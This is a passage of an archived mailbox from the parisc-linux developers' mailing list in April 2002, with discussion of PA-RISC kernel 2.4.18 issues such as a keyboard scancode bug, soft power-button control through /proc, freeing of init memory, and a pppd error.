	id 16x7Oo-0000Dn-0C; Mon, 15 Apr 2002 16:24:06 +0200
Original-Received: from p508109A8.dip.t-dialin.net (520046303170-0001@[80.129.9.168]) by fmrl00.sul.t-online.com
	with esmtp id 16x7Oe-0beKAqC; Mon, 15 Apr 2002 16:23:56 +0200
Original-Received: from p508109A8.dip.t-dialin.net (localhost [127.0.0.1])
	by p508109A8.dip.t-dialin.net (8.12.2/8.12.2/Debian -5) with ESMTP id g3FESQhB023732
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 16:28:26 +0200
Original-Received: (from news@localhost)
	by p508109A8.dip.t-dialin.net (8.12.2/8.12.2/Debian -5) id g3FESPRY023729
	for parisc-linux@lists.parisc-linux.org; Mon, 15 Apr 2002 16:28:25 +0200
Original-Path: not-for-mail
Original-Newsgroups: local.parisc-linux
Original-Lines: 32
Original-Distribution: local
Original-NNTP-Posting-Host: localhost.zdv.uni-mainz.de
Original-X-Trace: p508109A8.dip.t-dialin.net 1018880905 21857 127.0.0.1 (15 Apr 2002 14:28:25 GMT)
Original-X-Complaints-To: usenet@p508109A8.dip.t-dialin.net
Original-NNTP-Posting-Date: Mon, 15 Apr 2002 14:28:25 +0000 (UTC)
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
X-Sender: 520046303170-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14587

helge.deller@sap.com (Helge Deller) writes:
> 
> Please retry with a recent kernel.
> 
> On Tuesday 09 April 2002 19:42, Paul Seelig wrote:
> > Because of NeXTSTEP i've once gotten rid of my HIL keyboard and mouse,
> > replacing both with standard PS/2 variants.  Unfortunately, at the
> > console the PS/2 keyboard (with German layout) chokes on pressing the
> > key containing the characters '>', '<' and '|' (on a german keyboard
> > the key between Shift and Y), only telling me:
> >
> >      keyboard: unrecognized scancode (7f) ignored
>
Upgrading to kernel 2.4.18 solved the keyboard problem. PPPOE now runs
fine as well and permitted a full "apt-get dist-upgrade" from Debian's
unstable.  XFree86 is up and running too but this machine is no fun
using with it due to the limiting 8-bit fbdev display and the overall
slowness of the machine.  Reminds me somewhat of my old i486DX/33
although the overall niceness of the 715/64 definitely beats it.
NeXTSTEP 3.3 and HP/UX 10.20 are way faster on the same hardware.
Above all, NeXTSTEP is able to use far larger color space (16-bit or
more, i'd have to look).  Somehow my usual iP233MMX feels so much
faster than before... ;-)

Fortunately Debian is truly Free Software[TM]. :-)

                                 Thanks a lot! *8^)
-- 
     ------------ Paul Seelig <pseelig@uni-mainz.de> --------------
   African Music Archive - Institute for Ethnology and Africa Studies
   Johannes Gutenberg-University   -  Forum 6  -  55099 Mainz/Germany
     ----------------- http://ntama.uni-mainz.de ------------------



From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Mon, 15 Apr 2002 16:34:18 +0200
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 23
Approved: news@gmane.org
Message-ID: <200204151634.18455.helge.deller@sap.com>
References: <F92wTQUS2cYmqJpuUdJ00006859@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621236 6242 80.91.229.3 (22 Nov 2014 01:53:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:56 +0000 (UTC)
To: "Kenneth Westelinck" <kennywest1@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 08:34:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65F63482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 08:34:19 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id QAA17711;
  Mon, 15 Apr 2002 16:39:03 +0200 (MESZ)
X-Mailer: KMail [version 1.4]
In-Reply-To: <F92wTQUS2cYmqJpuUdJ00006859@hotmail.com>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14588

On Monday 15 April 2002 13:59, Kenneth Westelinck wrote:
> >The power-button should work if you update to a newer kernel (>=
> >2.4.18-pa19).
>
> Cool, does this mean: if I push the button, the system will do a clean
> shutdown? Or if I push the button, nothing happens?

It should shutdown cleanly and power-off afterwards.

> Is there an easy way to disable this. 

Hmm, not yet. But thanks for the idea, maybe I can add this....

> I mean, I only want to shutdown the
> machine using the command line (call me a freak ;)).
> Thanks.

read
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-April/016052.html

Helge



From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Patch to debina glibc-2.2.5 for gcc-3.2 build (was GCC support for dwarf2)
Date: Mon, 15 Apr 2002 18:26:28 +0200 (CEST)
Lines: 13
Approved: news@gmane.org
Message-ID: <1018887988.3cbaff348b253@webmail.tiscali.be>
References: <200204121614.g3CGENMn003726@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621236 6243 80.91.229.3 (22 Nov 2014 01:53:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:56 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 11:36:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3926482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 11:36:04 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16x9JQ-0007Zr-00; Mon, 15 Apr 2002 18:26:40 +0200
In-Reply-To: <200204121614.g3CGENMn003726@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14589

Hi Dave,

Could you send me you patch as an attached file or put it somewhere
(I try to grab page but "patch" failed)

Thanks in advance for additional help,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Mon, 15 Apr 2002 18:35:44 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020415173544.GO4971@sleepie.demon.co.uk>
References: <F39D7BsZXbLvwa2SydH0001aa92@hotmail.com> <200204151232.46311.helge.deller@sap.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621236 6244 80.91.229.3 (22 Nov 2014 01:53:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 11:53:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DC1E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 11:53:56 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 242929E970; Mon, 15 Apr 2002 18:35:44 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <200204151232.46311.helge.deller@sap.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14590

On Mon, Apr 15, 2002 at 12:32:46PM +0200, Helge Deller wrote:
> Older kernels just didn't reported it, but all had this problem.
> We're not freeing the memory yet, since we still have one or more 
> __init or __initdata too much in our kernel. Just ignore it for now.

Do you recall what config failed when we did try to free the memory?  I
tested recently with B180 and A500, both worked fine with freeing of
memory enabled.  IIRC the origianl problem was that init crashed on
boot...

Cheers,
  Richard




From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Mon, 15 Apr 2002 21:23:19 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <200204152123.19619.deller@gmx.de>
References: <F39D7BsZXbLvwa2SydH0001aa92@hotmail.com> <200204151232.46311.helge.deller@sap.com> <20020415173544.GO4971@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621237 6246 80.91.229.3 (22 Nov 2014 01:53:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 13:26:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E77B9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 13:26:35 -0600 (MDT)
Original-Received: (qmail 10162 invoked by uid 0); 15 Apr 2002 19:26:34 -0000
Original-Received: from pd9040d22.dip.t-dialin.net (HELO P100) (217.4.13.34)
  by mail.gmx.net (mp014-rz3) with SMTP; 15 Apr 2002 19:26:34 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <20020415173544.GO4971@sleepie.demon.co.uk>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14591

On Monday 15 April 2002 19:35, Richard Hirst wrote:
> On Mon, Apr 15, 2002 at 12:32:46PM +0200, Helge Deller wrote:
> > Older kernels just didn't reported it, but all had this problem.
> > We're not freeing the memory yet, since we still have one or more
> > __init or __initdata too much in our kernel. Just ignore it for now.
>
> Do you recall what config failed when we did try to free the memory?  I
> tested recently with B180 and A500, both worked fine with freeing of
> memory enabled.  IIRC the origianl problem was that init crashed on
> boot...
>
> Cheers,
>   Richard

Hi Richard,

unfortunately I don't know which config it was. AFAIR it also never 
happened to me, but it did for grant or bame. Maybe they know more ?

Greetings,
Helge
 



From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: se.witt@gmx.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.18-pa17 and pppd 2.4.1 : Resource temporarily unavaiable
Date: Mon, 15 Apr 2002 21:51:51 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <3CBB4B77.22708.1CA4625@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621237 6249 80.91.229.3 (22 Nov 2014 01:53:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 14:18:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id A8A00482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 14:18:42 -0600 (MDT)
Original-Received: (qmail 26122 invoked by uid 0); 15 Apr 2002 20:18:40 -0000
Original-Received: from u-200-10.ka.dial.de.ignite.net (HELO server1.swt) (62.180.10.200)
  by mail.gmx.net (mp001-rz3) with SMTP; 15 Apr 2002 20:18:40 -0000
Original-Received: from hasw (hasw.swt [192.168.0.10])
	by server1.swt (8.12.0/8.12.0) with ESMTP id g3G55gNA001232
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Apr 2002 04:05:42 -0100
Priority: normal
X-mailer: Pegasus Mail for Windows (v4.01)
Content-description: Mail message body
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14592

Hi,

I have a 715/100 with kernel 2.4.18-pa17 and pppd 2.4.1.
When pppd is startet:

pppd[314]: read: Resource temporarily unavailable
pppd[314]: read /dev/ppp: Resource temporarily unavailable

I have found something about this in the Archive and
created a dummy hotplug script, but this changes nothing.
The connecting works but is very slow (high latency, unstable).
The log ist flooded with this message.

ppp_generic, ppp_async, etc. are modules.

Have somebody a suggestion?

Thanks,
Sebastian
 



From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] WARNING: Kernel 2.4.18-pa20 is experimental !
Date: Tue, 16 Apr 2002 02:18:38 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <200204160218.38885.deller@gmx.de>
References: <F39D7BsZXbLvwa2SydH0001aa92@hotmail.com> <200204151232.46311.helge.deller@sap.com> <20020415173544.GO4971@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621237 6253 80.91.229.3 (22 Nov 2014 01:53:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 18:22:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 3A2F84846
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 18:22:29 -0600 (MDT)
Original-Received: (qmail 635 invoked by uid 0); 16 Apr 2002 00:22:27 -0000
Original-Received: from pd9040d22.dip.t-dialin.net (HELO P100) (217.4.13.34)
  by mail.gmx.net (mp004-rz3) with SMTP; 16 Apr 2002 00:22:27 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <20020415173544.GO4971@sleepie.demon.co.uk>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14593

> On Mon, Apr 15, 2002 at 12:32:46PM +0200, Helge Deller wrote:
> > Older kernels just didn't reported it, but all had this problem.
> > We're not freeing the memory yet, since we still have one or more
> > __init or __initdata too much in our kernel. Just ignore it for now.

FYI, I've re-enabled the freeing of boot memory in the CVS version
of kernel 2.4.18-pa20 and am very interested in getting your feedback.
But, since this change _could_ do anything to your system, please don't use 
it if you have important data on your disks (or at least without having 
a backup somewhere).

In case you see any boot-related or other strange problems with this kernel, 
please let me know as soon as possible and remember to attach your .config file.
I've tested this kernel on all my machines and haven't had any problems yet, so
I personally think it's safe to use this kernel. But in any case: You've been warned :-)

Thanks,
Helge



From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Tue, 16 Apr 2002 02:30:39 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <200204160223.35879.deller@gmx.de>
References: <F92wTQUS2cYmqJpuUdJ00006859@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621238 6256 80.91.229.3 (22 Nov 2014 01:53:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:58 +0000 (UTC)
To: "Kenneth Westelinck" <kennywest1@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 15 18:33:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 2FA13484C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Apr 2002 18:33:56 -0600 (MDT)
Original-Received: (qmail 7221 invoked by uid 0); 16 Apr 2002 00:33:54 -0000
Original-Received: from pd9040d22.dip.t-dialin.net (HELO P100) (217.4.13.34)
  by mail.gmx.net (mp007-rz3) with SMTP; 16 Apr 2002 00:33:54 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <F92wTQUS2cYmqJpuUdJ00006859@hotmail.com>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14594

On Monday 15 April 2002 13:59, Kenneth Westelinck wrote:
> >The power-button should work if you update to a newer kernel (>=
> >2.4.18-pa19).
>
> Cool, does this mean: if I push the button, the system will do a clean
> shutdown? Or if I push the button, nothing happens?
>
> Is there an easy way to disable this. 

In Kernel 2.4.18-pa20 I've added a /proc/sys/kernel/power
procfs entry which lets you enable/disable the soft power switch 
at runtime:

# echo 0 > /proc/sys/kernel/power		# disables the power switch
# echo 1 > /proc/sys/kernel/power		# enables the power switch

# cat /proc/sys/kernel/power 
Software power switch support: enabled (1)

Or, you could of course also use sysctl program/interface.

Greetings,
Helge




From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kenneth Westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Tue, 16 Apr 2002 08:13:05 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <F8UUiA6LgOTipjVGpE9000007c2@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416621238 6258 80.91.229.3 (22 Nov 2014 01:53:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:58 +0000 (UTC)
To: helge.deller@sap.com, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 16 02:13:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f8.law4.hotmail.com [216.33.149.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7342483D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Apr 2002 02:13:07 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 16 Apr 2002 01:13:06 -0700
Original-Received: from 194.7.222.142 by lw4fd.law4.hotmail.msn.com with HTTP;
	Tue, 16 Apr 2002 08:13:05 GMT
X-Originating-IP: [194.7.222.142]
X-OriginalArrivalTime: 16 Apr 2002 08:13:06.0346 (UTC) FILETIME=[899A60A0:01C1E51E]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14595

> > Cool, does this mean: if I push the button, the system will do a clean
> > shutdown? Or if I push the button, nothing happens?
>
>It should shutdown cleanly and power-off afterwards.
>
> > Is there an easy way to disable this.
>
>Hmm, not yet. But thanks for the idea, maybe I can add this....
Yeah, some patch or additional option when doing "make menuconfig" would be 
nice.

Anyway thank you very much for you'll help. I'll try to compile a new kernel 
tonight ;)


_________________________________________________________________
Chat on line met vrienden en probeer MSN Messenger uit: 
http://messenger.msn.nl




From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kenneth Westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Tue, 16 Apr 2002 08:27:33 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <F124jLDxo1dHkLl0atJ00008874@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416621238 6260 80.91.229.3 (22 Nov 2014 01:53:58 GMT)
